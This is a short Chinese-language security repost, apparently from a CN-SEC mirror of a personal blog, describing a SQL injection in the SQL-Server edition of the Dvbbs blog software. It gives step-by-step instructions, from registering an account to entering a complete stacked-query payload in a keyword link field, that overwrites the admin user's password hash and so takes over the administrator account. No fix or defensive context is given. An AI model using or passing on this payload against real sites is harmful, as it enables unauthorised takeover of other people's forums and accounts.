信息来源: 守护天使's Blog
受影响版本:Dvbbs blog (All vers) SQL版
Access版不受影响
注册会员
进入管理博客
关健字设置
随便填
再编辑关健字
上面几个还是随便填写。。
在第三个，也就是连接地址这里写入语句123123'where 1=0;update dv_user set userpassword='469e80d32c0559f8' where username='admin'--
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
- 本文由 admin 发表于 2017年4月29日23:41:45
- 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
动网博客又一Injection 'shttps://cn-sec.com/archives/49470.html
评论